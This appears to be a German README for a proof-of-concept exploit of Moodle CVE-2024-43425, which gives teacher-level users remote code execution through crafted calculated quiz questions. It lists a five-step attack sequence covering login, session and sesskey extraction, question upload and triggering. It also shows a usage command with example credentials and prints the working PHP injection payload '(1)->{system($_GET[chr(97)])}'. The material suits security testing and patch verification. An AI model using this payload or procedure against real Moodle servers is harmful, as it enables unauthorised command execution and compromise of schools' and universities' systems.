
Proof-of-Concept-Exploit für Moodle CVE-2024-43425, der authentifizierte RCE über manipulierte berechnete Fragen ermöglicht. Automatisiert Login, Token-Extraktion, Payload-Upload und Auslösung für Sicherheitstests.
CVE-Übersicht CVE ID: CVE-2024-43425
Beschreibung: Moodle erlaubt es einem authentifizierten Benutzer mit Lehrerrechten, über die Quiz-Editor-Oberfläche eine schädliche berechnete Frage hochzuladen. Auswirkung: Remote Code Execution (RCE) Ursache: Unzureichende Bereinigung von mathematischen Payloads in berechneten Fragen, was über den Datensatz-Assistenten zu Command Injection führt.
##Voraussetzungen:
##Dieses Skript führt einen Angriff in 5 Schritten aus:
Schritt Beschreibung 1️ Login-Token abrufen (logintoken) 2️ Anmelden und eine gültige MoodleSession aufbauen 3️ sesskey, ctxid und Kategorie aus der Quiz-Bearbeitungsseite extrahieren 4️ Eine speziell präparierte berechnete Frage mit einem RCE-Payload hochladen 5️ Den Payload über die Datensatz-Assistenten-Seite auslösen
##Verwendungshinweise
Voraussetzungen: Python 3 Python-Bibliotheken: requests, bs4 (BeautifulSoup)
pip3 install requests bs4
python3 exploit_cve_2024_43425.py \
--url http://192.168.2.12/moodle \
--username test \
--password 'Test@123' \
--courseid 1 \
--cmid 1 \
--cmd 'whoami'
##Verwendeter Payload:
answer[0] = "(1)->{system($_GET[chr(97)])}"